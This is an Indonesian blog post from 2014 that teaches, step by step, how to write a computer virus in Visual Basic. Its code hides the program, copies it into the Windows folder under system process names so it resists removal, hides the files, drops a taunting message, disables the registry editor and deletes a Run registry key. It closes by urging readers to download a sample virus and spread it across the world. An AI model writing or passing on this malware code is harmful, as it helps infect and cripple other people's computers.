Sabtu, 18 Januari 2014

Langkah Dasar Menbuat Virus komputer melalui Visual Basic

langsung prakteknya.



Pertama, bikin form buat virus kamu pake

Standart exe saja 1. Nyembuin Form

Private Sub Form_Load()

App.TaskVisible = False

End Sub

2. Kopiin Diri Sendiri

Misalnya mau dikopiin ke direktori C: \Windows dengan nama winlogon.exe

csrss.exe ato services.exe

biar prosesnya sulit di kill pake

taskmanager, nama virus pake nama

system pada windows

On Error Resume Next FileCopy App.EXEName + “.exe”, “C:

\WINDOWS\winlogon.exe”

FileCopy App.EXEName + “.exe”, “C:

\WINDOWS\csrss.exe”

FileCopy App.EXEName + “.exe”, “C:

\WINDOWS\services.exe” FileCopy App.EXEName + “.exe”, “C:

\WINDOWS\smss.exe”

FileCopy App.EXEName + “.exe”, “C:

\WINDOWS\lsass.exe”

3. Bikin Direktori ato folder

Misalnya bikin folder di windows direktori On Error Resume Next

MkDir “C:\WINDOWS\virus”

4. Mengganti Atribut file

Bisa juga buat ngganti atribut folder

Attributes = 0 0 berarti normal

Attributes = 1 1 berarti read only Attributes = 2 2 berarti hidden

Attributes = 3 3 berarti read only + hidden

Attributes = 4 4 berarti system

Attributes = 5 5 berarti system + read only

Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject (”Scripting.FileSystemObject”)

On Error Resume Next

sembunyi.GetFile(”C:\WINDOWS

\winlogon.exe”).Attributes = 2

sembunyi.GetFile(”C:\WINDOWS

\csrss.exe”).Attributes = 2 sembunyi.GetFile(”C:\WINDOWS

\services.exe”).Attributes = 2

sembunyi.GetFile(”C:\WINDOWS

\smss.exe”).Attributes = 2

sembunyi.GetFile(”C:\WINDOWS

\lsass.exe”).Attributes = 2 tapi kalo folder pakenya

sembunyi.GetFolder(”C:\WINDOWS\”)

.Attributes = 2

5. Bikin Pesan Virus

Bikin pesen pake text file

On Error Resume Next Set bikinpesen = CreateObject

(”Scripting.FileSystemObject”)

Set isipesen = bikinpesen.Createtextfile(”C:

\baca saya.txt “)

isipesen.writeline (”komputer kamu kena

virus bodoh “) isipesen.Close

6.Ngubah Registry

Misalnya mo disable regedit

On Error Resume Next

Set ubahreg = CreateObject

(”WScript.Shell”) ubahreg.regwrite “HKEY_CURRENT_USER

\software\

microsoft\windows\currentversion

\policies\system\

disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry Misalna mo ngehapus HKEY_LOCAL_MACHINE

\

Software\Microsoft\Windows NT

\CurrentVersion\Run\ServLogon

On Error Resume Next

Set hapusreg = CreateObject (”WScript.Shell”)

hapusreg.regdelete “HKEY_LOCAL_MACHINE

\

Software\Microsoft\Windows NT

\CurrentVersion\Run\ServLogon”

Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus

r3d_94l4xy dan sebarin ke seluruh penjuru

dunia OK!

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